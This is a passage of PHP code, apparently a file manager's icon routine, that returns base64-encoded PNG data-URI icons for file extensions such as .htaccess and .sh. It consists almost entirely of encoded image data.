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"; } elseif ($ext == "htaccess") { echo "data:image/png;base64,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"; } elseif ($ext == "sh") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAEnQAABJ0BfDRroQAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAYzSURBVHic7d1rbFN1HMbx57RdL+s2BruUjevGZQsXhwIJEm5KUBN9JURCRBISQpAYEAwSYwRieKcJIcYXGvGCihiFIApECBI0gxiHkMDGbYrI3KVjrGzr2m7t6gu0UM4GO6en19/zedf/zk7/ye+bU3q6DSUcDsNonvb2vQCWGn5iMpwp2Rug5GIAwjEA4RiAcAxAOAYgHAMQjgEIxwCEYwDCMQDhGIBwDEA4BiAcAxCOAQjHAIRjAMIxAOEYgHAMQDgGIBwDEI4BCMcAhGMAwjEA4RiAcAxAOAYgHAMQTvnthSeM/wMBwg1ftQE5M+YkexuDwiuAcAxAOAYgHAMQjgEIZ0wAigJrQRHMzlxDTkeJY9H9jbl5KF28AnlVM2ErGg4lKwsAEPJ1w990A61HD6Lt52MIh4IPPM+4jdtgtjsij7uu1KLx290PPa6j7hyaD3yld/v0H10BDJ01H2NXvwazM0f1NbMjG87yCjjXbELp4hW4tHUdetpaBzxX3tTpMGc7I4/7ensGdVzQ26Vn63QfzS8BNlcpytZu7nf497MWuVD+6hYoZrOuzVH8ab4CjFm9ESab/e5COAz3sYO4ffZXmLKscD27BDkVUyJfzpk4GcNmP4m2X44ZsmEylqYAFJMJuZWPRK3dPHEEf+/aGXncWXsW0z46AChKZC27fCIDS